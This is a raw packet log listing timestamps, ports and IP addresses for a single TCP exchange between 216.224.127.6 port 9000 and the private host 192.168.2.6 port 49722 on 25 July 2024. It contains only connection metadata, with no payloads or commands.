Jul 25, 2024 13:23:57.477632999 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.477756977 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.477756977 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.480079889 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480092049 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480114937 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480124950 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480135918 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.480151892 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480165958 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480175018 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.480187893 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480195999 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.480210066 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480221033 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.480232000 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480268002 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.480953932 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480964899 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.480986118 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481005907 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.481029987 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481050968 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481061935 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481071949 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.481090069 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481105089 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.481112003 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481123924 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481147051 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481152058 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.481165886 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481185913 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.481204033 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481216908 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481235027 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.481240034 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481251001 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481270075 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481280088 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.481291056 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481302977 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481311083 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.481323957 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.481333971 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.496653080 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.496697903 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.496711016 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.496723890 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.496748924 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.496757984 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.496778965 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.496790886 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.496814966 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.496822119 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.496853113 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.497673988 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497693062 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497714043 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497729063 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497735977 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.497751951 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497761965 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497781992 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497795105 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497802973 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.497817039 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497826099 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.497839928 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.497847080 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497858047 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497879982 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497885942 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.497900963 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497915030 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497920990 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.497937918 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.497957945 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.498492956 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.498529911 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.498536110 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.498552084 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.498584032 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.498641968 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.498653889 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.498672962 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.498687029 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.498694897 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.498729944 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.510337114 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510354996 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510381937 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510476112 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510490894 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510510921 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510540962 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.510721922 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510736942 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510744095 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.510761023 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510775089 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510782957 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.510802984 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510818958 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.510826111 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.510863066 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.511077881 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.511089087 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.511111975 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.511120081 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.511133909 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.511147976 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.511169910 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.511178017 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.511210918 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.512348890 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.512365103 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.512384892 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.512408972 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.553908110 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.567928076 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.567991018 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.568078995 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.685326099 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.685410023 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.685497999 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.686280012 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686374903 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686430931 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686446905 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.686512947 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686559916 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686579943 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.686621904 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686670065 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.686690092 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686835051 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686885118 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.686899900 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686947107 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.686995029 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.687012911 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.687087059 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.687135935 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.687150955 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.687196970 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.687244892 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.687261105 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.689501047 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.689578056 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.689706087 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.689754009 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.689801931 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.689819098 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.689874887 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.689922094 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.689969063 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.690114021 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.690162897 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.690210104 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.693948984 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.695277929 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695357084 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.695400000 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695472002 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695529938 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.695564985 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695614100 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695669889 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.695698977 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695745945 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695800066 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.695827007 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695873976 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695921898 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.695939064 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.695986032 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696029902 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.696050882 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696096897 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696145058 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.696160078 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696207047 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696254015 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.696274996 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696438074 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696506023 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696600914 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.696620941 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696681023 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.696707010 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696753025 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696808100 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.696822882 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.697628021 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.697707891 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.697721958 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.697760105 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.697813034 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.697839022 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.697885990 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.697933912 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.697951078 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.698786020 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.698858976 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.698865891 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.698877096 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.698898077 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.698926926 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.699007988 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.699018002 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.699054003 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.700041056 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.700052023 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.700073004 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.700114965 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.700129986 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.700139046 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.700150967 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.700197935 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.701179981 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.701195002 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.701215982 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.701237917 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.701251984 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.701265097 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.701275110 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.701286077 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.701308966 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.711627007 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711654902 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711684942 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711695910 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711715937 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711726904 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711750031 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.711764097 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711776018 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.711822033 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711833000 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711859941 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.711889029 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711899996 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711919069 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711930037 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711937904 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.711951971 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.711962938 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.711986065 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.712068081 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.712079048 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.712116003 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.712584972 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.712646008 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.712656975 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.712688923 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.712914944 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.712928057 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.712965012 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.713910103 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.713958025 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.713980913 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.713992119 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.714032888 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.714045048 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.714112997 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.714153051 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.715987921 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.716039896 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.716051102 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.716083050 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.716095924 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.716140032 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.731617928 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731664896 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731677055 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731726885 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.731751919 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731764078 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731784105 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731795073 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731802940 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.731812000 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.731890917 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731901884 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731920958 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731929064 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.731956959 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.731976032 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.731992006 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.732006073 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.732023001 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.732031107 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.732047081 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.732054949 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.732069016 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.732099056 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.783780098 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.783801079 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.783828020 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.783854008 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.783864021 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.783885956 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.783900023 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.783906937 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.783929110 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.783968925 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.783988953 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.784008980 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784022093 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784065008 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.784105062 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784126043 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784142017 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784162045 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.784168959 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784179926 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784203053 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784212112 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.784223080 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784229994 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.784245014 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784286022 CEST	49722	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:57.784456968 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784467936 CEST	9000	49722	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:57.784512043 CEST	49722	9000	192.168.2.6	216.224.127.6
